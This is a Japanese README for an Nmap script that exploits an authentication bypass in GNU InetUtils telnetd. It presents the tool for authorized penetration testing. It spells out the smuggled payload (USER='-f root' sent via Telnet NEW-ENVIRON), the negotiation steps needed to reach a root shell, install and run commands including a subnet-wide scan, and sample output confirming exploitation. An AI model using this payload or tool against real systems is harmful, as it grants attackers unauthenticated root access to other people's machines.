
このスクリプトは、実際のtelnet -aクライアントセッションの正確なバイトシーケンスをミラーリングした完全なTelnetネゴシエーションを実行します。
想定される用途: 許可されたペネトレーションテストおよび脆弱性評価のみ。
明示的な書面による許可なしにシステムに対してこのスクリプトを実行することは違法です。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-24061 |
| 影響を受けるバージョン | GNU InetUtils telnetd 1.9.3 – 2.7 |
| CVSSv3スコア | 9.8 Critical |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| タイプ | 認証バイパス (CWE-287) |
| 公開日 | 2026-01-01 |
GNU InetUtils telnetd は、Telnet NEW-ENVIRON オプション(RFC 1572)を使用して、交渉フェーズ中にクライアントから環境変数を受け取ります。その後、login(1) プログラムがそれらの変数を使用して呼び出されます。
この脆弱性は、telnetd が USER 変数をサニタイズせずに直接 login に渡すために発生します。Linuxの login プログラムは、「事前認証済み、パスワードを確認しない」 を意味する -f <user> フラグを受け入れます。NEW-ENVIRONペイロードを介して USER="-f root" を注入することで、攻撃者は認証を完全にバイパスします。
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Server response: spawns login -f root → root shell, no password required
| フィールド | 値 |
|---|---|
| ファイル名 | telnet-vuln-cve-2026-24061.nse |
| カテゴリ | vuln, exploit, intrusive |
| ポート | TCP/23 (telnet) |
| テスト環境 | Nmap 7.94 / 7.98, Windows & Linux |
このスクリプトは、実際の telnet -a クライアントセッションの正確なバイトシーケンスを再現した(Wiresharkキャプチャから再構築)完全なTelnet交渉 を実行します:
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <user>' を注入WILL ECHO / DO BINARY / WONT LINEMODE シーケンスを完了結果ステータス:
| ステータス | 意味 |
|---|---|
EXPLOIT | シェルプロンプトを受信 — バイパス確認済み |
LIKELY_VULN | ENVペイロードが受け入れられ、パスワードプロンプトなし、ただしシェルプロンプトなし |
NOT_VULN | パスワードプロンプトが見られた、または交渉が完了しなかった |
# Nmapスクリプトディレクトリにコピー
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# スクリプトデータベースを更新
sudo nmap --script-updatedb
# Nmapスクリプトディレクトリにコピー(必要に応じてパスを調整)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# スクリプトデータベースを更新(管理者として実行)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>
# 短縮形式
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>
# 中間形式
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>
# 完全修飾形式
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <target>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <target> # 詳細
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <target> # デバッグ
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target> # 完全な16進トレース
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentication Bypass
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
| authentication bypass via a crafted USER environment variable.
| Sending '-f <user>' results in an unauthenticated login shell.
| Extra information:
| Authentication bypassed: shell prompt received after injecting
| USER='-f root' -- no password challenge was presented.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(スクリプト出力なし — NOT_VULNは設計上サイレント、標準的なNmapの慣例)
| 引数 | エイリアス | デフォルト | 説明 |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | -f で注入するユーザー名 |
GNU InetUtils telnetd は、Linemode交渉(RFC 1184)を使用して端末I/Oモードを決定します。サーバーは交渉の初期に DO LINEMODE を送信し、クライアントは最初に WILL LINEMODE で応答します。ENVペイロード交換後、サーバーは WILL ECHO に続いて DO BINARY を送信します。この時点でクライアントはキャラクタ単位モードを示すために WONT LINEMODE で応答する必要があります — これによってのみ telnetd はPTYセットアップ(ioctl TIOCSWINSZ)を完了し、login をフォークできます。このステップがないと、サーバーは peer died: Inappropriate ioctl for device をログに記録し、接続を切断します。
NmapのNSEソケットAPIは、標準のLuaソケット規約とは異なります:
-- Nmap NSE (正しい):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string
このスクリプトは、許可されたセキュリティテストおよび研究目的のみ で提供されます。 作者は、このツールの誤用またはそれによって引き起こされた損害について責任を負いません。 所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。